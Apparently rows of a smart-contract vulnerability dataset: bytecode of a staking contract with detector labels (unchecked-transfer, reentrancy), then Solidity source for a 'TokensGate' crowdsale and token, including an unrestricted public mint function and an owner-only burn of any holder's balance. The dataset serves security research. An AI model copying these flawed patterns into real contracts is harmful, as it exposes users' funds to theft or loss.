} | 0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636a395ccb11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b14610445578063f3073ee71461046b578063f3f91fa01461048a578063f851a440146104b0576101cf565b8063c326bf4f14610407578063d578ceab1461042d578063d816c7d514610435578063f1587ea11461043d576101cf565b8063a89c8c5e116100de578063a89c8c5e14610397578063b52b50e4146103c5578063bec4de3f146103e2578063c0a6d78b146103ea576101cf565b80636a395ccb146103515780637b0a47ee146103875780639d76ea581461038f576101cf565b8063455ab53c11610171578063583d42fd1161014b578063583d42fd146102f55780635ef057be1461031b5780636270cd18146103235780636654ffdf14610349576101cf565b8063455ab53c146102b35780634908e386146102bb57806352cd0d40146102d8576101cf565b80632f278fe8116101ad5780632f278fe814610261578063308feec31461026b57806337c5785a146102735780633844317714610296576101cf565b8063069ca4d0146101d45780631e94723f146102055780632ec14e851461023d575b600080fd5b6101f1600480360360208110156101ea57600080fd5b50356104b8565b604080519115158252519081900360200190f35b61022b6004803603602081101561021b57600080fd5b50356001600160a01b03166104d9565b60408051918252519081900360200190f35b610245610592565b604080516001600160a01b039092168252519081900360200190f35b6102696105a1565b005b61022b6105ac565b6101f16004803603604081101561028957600080fd5b50803590602001356105be565b6101f1600480360360208110156102ac57600080fd5b50356105e2565b6101f1610603565b6101f1600480360360208110156102d157600080fd5b503561060c565b610269600480360360208110156102ee57600080fd5b503561062d565b61022b6004803603602081101561030b57600080fd5b50356001600160a01b0316610932565b61022b610944565b61022b6004803603602081101561033957600080fd5b50356001600160a01b031661094a565b61022b61095c565b6102696004803603606081101561036757600080fd5b506001600160a01b03813581169160208101359091169060400135610962565b61022b610a3c565b610245610a42565b6101f1600480360360408110156103ad57600080fd5b506001600160a01b0381358116916020013516610a51565b610269600480360360208110156103db57600080fd5b5035610af7565b61022b610dec565b6101f16004803603602081101561040057600080fd5b5035610df2565b61022b6004803603602081101561041d57600080fd5b50356001600160a01b0316610e13565b61022b610e25565b61022b610e2b565b61022b610e31565b6102696004803603602081101561045b57600080fd5b50356001600160a01b0316610e65565b6101f16004803603602081101561048157600080fd5b50351515610eea565b61022b600480360360208110156104a057600080fd5b50356001600160a01b0316610f76565b610245610f88565b600080546001600160a01b031633146104d057600080fd5b60049190915590565b60006104e6600b83610f97565b6104f25750600061058d565b6001600160a01b0382166000908152600d60205260409020546105175750600061058d565b6001600160a01b0382166000908152600f602052604081205461053b904290610fb5565b6001600160a01b0384166000908152600d60205260408120546004546003549394509092610587916127109161058191908290889061057b908990610fc7565b90610fc7565b90610fe7565b93505050505b919050565b6002546001600160a01b031681565b6105aa33610ffc565b565b60006105b8600b611190565b90505b90565b600080546001600160a01b031633146105d657600080fd5b60059290925560065590565b600080546001600160a01b031633146105fa57600080fd5b60099190915590565b600a5460ff1681565b600080546001600160a01b0316331461062457600080fd5b60039190915590565b336000908152600d6020526040902054811115610691576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600754336000908152600e60205260409020546106af904290610fb5565b116106eb5760405162461bcd60e51b815260040180806020018281038252603b815260200180611301603b913960400191505060405180910390fd5b6106f433610ffc565b600061071161271061058160065485610fc790919063ffffffff16565b9050600061071f8383610fb5565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561077b57600080fd5b505af115801561078f573d6000803e3d6000fd5b505050506040513d60208110156107a557600080fd5b50516107f8576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561084c57600080fd5b505af1158015610860573d6000803e3d6000fd5b505050506040513d602081101561087657600080fd5b50516108c9576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600d60205260409020546108e39084610fb5565b336000818152600d602052604090209190915561090290600b90610f97565b801561091b5750336000908152600d6020526040902054155b1561092d5761092b600b3361119b565b505b505050565b600e6020526000908152604090205481565b60055481565b60106020526000908152604090205481565b60075481565b6000546001600160a01b0316331461097957600080fd5b6001546001600160a01b03848116911614156109b457610997610e31565b8111156109a357600080fd5b6008546109b090826111b0565b6008555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a0b57600080fd5b505af1158015610a1f573d6000803e3d6000fd5b505050506040513d6020811015610a3557600080fd5b5050505050565b60035481565b6001546001600160a01b031681565b600080546001600160a01b03163314610a6957600080fd5b6001600160a01b03831615801590610a8957506001600160a01b03821615155b610ac45760405162461bcd60e51b815260040180806020018281038252602a81526020018061136f602a913960400191505060405180910390fd5b600180546001600160a01b039485166001600160a01b031991821617909155600280549390941692169190911790915590565b600a5460ff161515600114610b53576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610ba8576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610c0257600080fd5b505af1158015610c16573d6000803e3d6000fd5b505050506040513d6020811015610c2c57600080fd5b5051610c7f576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610c8833610ffc565b6000610ca561271061058160055485610fc790919063ffffffff16565b90506000610cb38383610fb5565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610d0f57600080fd5b505af1158015610d23573d6000803e3d6000fd5b505050506040513d6020811015610d3957600080fd5b5051610d8c576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600d6020526040902054610da690826111b0565b336000818152600d6020526040902091909155610dc590600b90610f97565b61092d57610dd4600b336111bf565b50336000908152600e60205260409020429055505050565b60045481565b600080546001600160a01b03163314610e0a57600080fd5b60079190915590565b600d6020526000908152604090205481565b60085481565b60065481565b600060095460085410610e46575060006105bb565b6000610e5f600854600954610fb590919063ffffffff16565b91505090565b6000546001600160a01b03163314610e7c57600080fd5b6001600160a01b038116610e8f57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610f0257600080fd5b6001546001600160a01b031615801590610f2657506002546001600160a01b031615155b610f615760405162461bcd60e51b815260040180806020018281038252603381526020018061133c6033913960400191505060405180910390fd5b600a805460ff19169215159290921790915590565b600f6020526000908152604090205481565b6000546001600160a01b031681565b6000610fac836001600160a01b0384166111d4565b90505b92915050565b600082821115610fc157fe5b50900390565b6000828202831580610fe1575082848281610fde57fe5b04145b610fac57fe5b600080828481610ff357fe5b04949350505050565b6000611007826104d9565b90508015611173576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561106557600080fd5b505af1158015611079573d6000803e3d6000fd5b505050506040513d602081101561108f57600080fd5b50516110e2576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526010602052604090205461110590826111b0565b6001600160a01b03831660009081526010602052604090205560085461112b90826111b0565b600855604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600f60205260409020429055565b6000610faf826111ec565b6000610fac836001600160a01b0384166111f0565b600082820183811015610fac57fe5b6000610fac836001600160a01b0384166112b6565b60009081526001919091016020526040902054151590565b5490565b600081815260018301602052604081205480156112ac578354600019808301919081019060009087908390811061122357fe5b906000526020600020015490508087600001848154811061124057fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061127057fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610faf565b6000915050610faf565b60006112c283836111d4565b6112f857508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610faf565b506000610faf56fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e74657272616374696e6720746f6b656e2061646472657373657320617265206e6f742079657420636f6e66696775726564496e76616c69642061646472657373657320666f726d617420617265206e6f7420737570706f72746564a2646970667358221220ae17f99b5746d9c5cd20f50a6818991fad8d52fa41c32ae4dd3d7ac6ac48e60864736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 353 |
0x49a20473834b1ce0f97b1a9f1b94ac1e00473936 | pragma solidity ^0.4.18;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
if (totalSupply.add(_amount) > 1000000000000000000000000000) {
return false;
}
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts/TGCToken.sol
contract TGCToken is MintableToken {
string public constant name = "TokensGate Coin";
string public constant symbol = "TGC";
uint8 public constant decimals = 18;
mapping(address => uint256) public whitelistAddresses;
event Burn(address indexed burner, uint256 value);
function setWhitelist(address _holder, uint256 _utDate) onlyOwner public {
require(_holder != address(0));
whitelistAddresses[_holder] = _utDate;
}
// overriding StandardToken#approve
function approve(address _spender, uint256 _value) public returns (bool) {
require(whitelistAddresses[msg.sender] > 0);
require(now >= whitelistAddresses[msg.sender]);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// overriding BasicToken#transfer
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(whitelistAddresses[msg.sender] > 0);
require(now >= whitelistAddresses[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function burn(address _burner, uint256 _value) onlyOwner public {
require(_value <= balances[_burner]);
balances[_burner] = balances[_burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_burner, _value);
Transfer(_burner, address(0), _value);
}
}
// File: zeppelin-solidity/contracts/crowdsale/Crowdsale.sol
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
// File: contracts/TokensGate.sol
contract TokensGate is Crowdsale {
mapping(address => bool) public icoAddresses;
function TokensGate (
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet
) public
Crowdsale(_startTime, _endTime, _rate, _wallet)
{
}
function createTokenContract() internal returns (MintableToken) {
return new TGCToken();
}
function () external payable {
}
function addIcoAddress(address _icoAddress) public {
require(msg.sender == wallet);
icoAddresses[_icoAddress] = true;
}
function setWhitelist(address holder, uint256 utDate) public {
require(msg.sender == wallet);
TGCToken tgcToken = TGCToken(token);
tgcToken.setWhitelist(holder, utDate);
}
function burnTokens(address tokenOwner, uint256 t) payable public {
require(msg.sender == wallet);
TGCToken tgcToken = TGCToken(token);
tgcToken.burn(tokenOwner, t);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary == address(0));
}
function mintTokens(address walletToMint, uint256 t) payable public {
require(walletToMint != address(0));
require(icoAddresses[walletToMint]);
token.mint(walletToMint, t);
}
function changeOwner(address newOwner) payable public {
require(msg.sender == wallet);
wallet = newOwner;
}
function tokenOwnership(address newOwner) payable public {
require(msg.sender == wallet);
token.transferOwnership(newOwner);
}
function setEndTime(uint256 newEndTime) payable public {
require(msg.sender == wallet);
endTime = newEndTime;
}
} | 0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010c57806306fdde0314610139578063095ea7b3146101c75780631302d03a1461022157806318160ddd1461026357806323b872dd1461028c578063313ce5671461030557806340c10f1914610334578063661884631461038e57806369ddd67d146103e857806370a08231146104355780637d64bcb4146104825780638da5cb5b146104af57806395d89b41146105045780639dc29fac14610592578063a9059cbb146105d4578063d73dd6231461062e578063dd62ed3e14610688578063f2fde38b146106f4575b600080fd5b341561011757600080fd5b61011f61072d565b604051808215151515815260200191505060405180910390f35b341561014457600080fd5b61014c610740565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018c578082015181840152602081019050610171565b50505050905090810190601f1680156101b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d257600080fd5b610207600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610779565b604051808215151515815260200191505060405180910390f35b341561022c57600080fd5b610261600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610906565b005b341561026e57600080fd5b6102766109e6565b6040518082815260200191505060405180910390f35b341561029757600080fd5b6102eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109ec565b604051808215151515815260200191505060405180910390f35b341561031057600080fd5b610318610dab565b604051808260ff1660ff16815260200191505060405180910390f35b341561033f57600080fd5b610374600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610db0565b604051808215151515815260200191505060405180910390f35b341561039957600080fd5b6103ce600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fca565b604051808215151515815260200191505060405180910390f35b34156103f357600080fd5b61041f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061125b565b6040518082815260200191505060405180910390f35b341561044057600080fd5b61046c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611273565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104956112bc565b604051808215151515815260200191505060405180910390f35b34156104ba57600080fd5b6104c2611384565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561050f57600080fd5b6105176113aa565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561055757808201518184015260208101905061053c565b50505050905090810190601f1680156105845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561059d57600080fd5b6105d2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113e3565b005b34156105df57600080fd5b610614600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115f5565b604051808215151515815260200191505060405180910390f35b341561063957600080fd5b61066e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506118b5565b604051808215151515815260200191505060405180910390f35b341561069357600080fd5b6106de600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ab1565b6040518082815260200191505060405180910390f35b34156106ff57600080fd5b61072b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b38565b005b600360149054906101000a900460ff1681565b6040805190810160405280600f81526020017f546f6b656e734761746520436f696e000000000000000000000000000000000081525081565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156107c857600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421015151561081657600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561096257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561099e57600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a2957600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a7757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b0257600080fd5b610b5482600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9090919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610be982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cbb82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0e57600080fd5b600360149054906101000a900460ff16151515610e2a57600080fd5b6b033b2e3c9fd0803ce8000000610e4c83600054611ca990919063ffffffff16565b1115610e5b5760009050610fc4565b610e7082600054611ca990919063ffffffff16565b600081905550610ec882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156110db576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061116f565b6110ee8382611c9090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60046020528060005260406000206000915090505481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561131a57600080fd5b600360149054906101000a900460ff1615151561133657600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473fffffffffffffff